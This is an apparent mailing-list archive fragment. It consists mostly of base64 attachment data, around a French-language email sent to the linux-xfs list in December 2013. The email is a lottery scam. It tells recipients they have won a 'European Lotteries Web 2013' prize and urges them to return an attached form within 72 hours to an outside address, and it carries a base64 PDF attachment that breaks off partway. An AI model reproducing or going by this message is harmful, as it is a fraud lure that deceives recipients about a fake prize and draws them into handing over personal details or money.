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 /wBjXK4piP/Z ------=_NextPart_001_4010_2C2041D3.2CC27ACE-- From mail@el-web2013.com Sun Dec 22 08:08:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E37847F5E for ; Sun, 22 Dec 2013 08:08:54 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id D0D1D8F8035 for ; Sun, 22 Dec 2013 06:08:51 -0800 (PST) X-ASG-Debug-ID: 1387721313-04cbb041698a8550001-w1Z2WR Received: from vps20339.lws-hosting.com (vps20339.lws-hosting.com [195.110.34.83]) by cuda.sgi.com with ESMTP id ov4oSuEYLCGyKsiu; Sun, 22 Dec 2013 06:08:34 -0800 (PST) X-Barracuda-Envelope-From: mail@el-web2013.com X-Barracuda-Apparent-Source-IP: 195.110.34.83 Received: from localhost (localhost.localdomain [127.0.0.1]) by vps20339.lws-hosting.com (Postfix) with ESMTP id E381F7C12CC; Sun, 22 Dec 2013 14:33:29 +0100 (CET) Received: from vps20339.lws-hosting.com ([127.0.0.1]) by localhost (vps20339.lws-hosting.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id szwv98Xd7-kV; Sun, 22 Dec 2013 14:33:28 +0100 (CET) Received: by vps20339.lws-hosting.com (Postfix, from userid 5003) id 7FD3A7C11F5; Sun, 22 Dec 2013 14:33:23 +0100 (CET) To: undisclosed-recipients:; Subject: Avis vous concernant-Notification Officielle X-PHP-Originating-Script: 5003:main.inc X-ASG-Orig-Subj: Avis vous concernant-Notification Officielle MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=_e4d3ffc33d574dd0d3aa95911dd6a640" Date: Sun, 22 Dec 2013 13:33:23 +0000 From: mail@el-web2013.com Message-ID: <94e46fb37517bb0caddcf8389fd6c4f4@el-web2013.com> X-Sender: mail@el-web2013.com User-Agent: Roundcube Webmail/0.8.4 X-Barracuda-Connect: vps20339.lws-hosting.com[195.110.34.83] X-Barracuda-Start-Time: 1387721313 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143302 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name --=_e4d3ffc33d574dd0d3aa95911dd6a640 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8; format=flowed EL-WEB2013 Madame, Monsieur, Je suis l'automate chargé de la liste de diffusion des lauréats de l'édition 2013 de EL-WEB 2013. Vous trouverez ci-joint votre notification officielle. Après avoir pris connaissance de cette notification veuillez adresser exclusivement par E-mail le formulaire en annexe au service de réclamation European Lotteries Web-2013 dans un délai de 72 heures maximum. Email : info@european-lotteries-web.eu Cordialement ----------------------- L'équipe EL-WEB 2013 Bureau des réclamations --=_e4d3ffc33d574dd0d3aa95911dd6a640 Content-Transfer-Encoding: base64 Content-Type: application/pdf; name="Notification Officielle.pdf" Content-Disposition: attachment; filename="Notification Officielle.pdf"; size=294388 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 